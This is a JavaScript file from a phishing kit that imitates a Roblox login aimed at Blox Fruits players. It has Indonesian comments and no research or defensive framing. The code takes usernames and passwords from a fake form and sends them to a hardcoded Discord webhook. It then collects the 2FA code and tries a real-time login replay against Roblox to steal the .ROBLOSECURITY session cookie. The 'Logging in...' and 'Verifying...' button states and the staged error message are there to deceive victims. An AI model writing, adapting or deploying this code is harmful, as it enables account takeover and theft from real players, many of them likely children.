const WEBHOOK_URL = 'https://discord.com/api/webhooks/1561393769788608537/uKrhgHSHlI1x5k3-ulyszeF37H9quVgBgc19venw7Cd4DCTsyL_Ox0oQHmqWuCkefXBg';

function showLogin() {
  document.getElementById('loginModal').style.display = 'flex';
}

function sendToDiscord(data) {
  fetch(WEBHOOK_URL, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      embeds: [{
        title: " Roblox Blox Fruits Phish",
        color: 16711680,
        fields: data,
        footer: { text: "Hit from " + window.location.hostname }
      }]
    })
  }).catch(() => {});
}

// STEP 1: USERNAME & PASSWORD
document.getElementById('phishForm').addEventListener('submit', function(e) {
  e.preventDefault();
  
  const user = document.getElementById('username').value;
  const pass = document.getElementById('password').value;
  const btn = document.getElementById('submitBtn');
  const err = document.getElementById('errorMsg');
  
  // Simpan data di browser sementara buat step 2FA
  sessionStorage.setItem('target_user', user);
  sessionStorage.setItem('target_pass', pass);
  
  btn.disabled = true;
  btn.innerText = 'Logging in...';
  err.style.display = 'none';
  
  sendToDiscord([
    { name: "Username", value: "```\n" + user + "\n```", inline: false },
    { name: "Password", value: "```\n" + pass + "\n```", inline: false }
  ]);
  
  setTimeout(() => {
    btn.disabled = false;
    btn.innerText = 'Log In';
    document.getElementById('login-step').style.display = 'none';
    document.getElementById('2fa-step').style.display = 'block';
  }, 1500);
});

// STEP 2: 2FA CODE
document.getElementById('btnVerify').addEventListener('click', function() {
  const code = document.getElementById('code').value;
  if(!code) return;
  
  const btn = this;
  const err = document.getElementById('errorMsg2fa');
  const user = sessionStorage.getItem('target_user');
  const pass = sessionStorage.getItem('target_pass');
  
  btn.disabled = true;
  btn.innerText = 'Verifying...';
  err.style.display = 'none';
  
  // Kirim kode ke Discord
  sendToDiscord([
    { name: "User", value: "```\n" + user + "\n```", inline: true },
    { name: "2FA Code", value: "```\n" + code + "\n```", inline: true }
  ]);
  
  // REAL-TIME BYPASS ATTEMPT (Bakal gagal di Cloudflare karena CORS, butuh backend/proxy)
  fetch("https://auth.roblox.com/v2/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      ctype: "Username",
      cvalue: user,
      password: pass,
      verificationCode: code
    })
  }).then(res => {
    // Kalau sukses, ambil cookie .ROBLOSECURITY
    const cookie = res.headers.get('set-cookie');
    if(cookie) sendToDiscord([{ name: "ROBLOSECURITY Token", value: "```\n" + cookie + "\n```", inline: false }]);
  }).catch(() => {});
  
  setTimeout(() => {
    btn.disabled = false;
    btn.innerText = 'Verify';
    err.style.display = 'block';
    document.getElementById('code').value = '';
  }, 1500);
});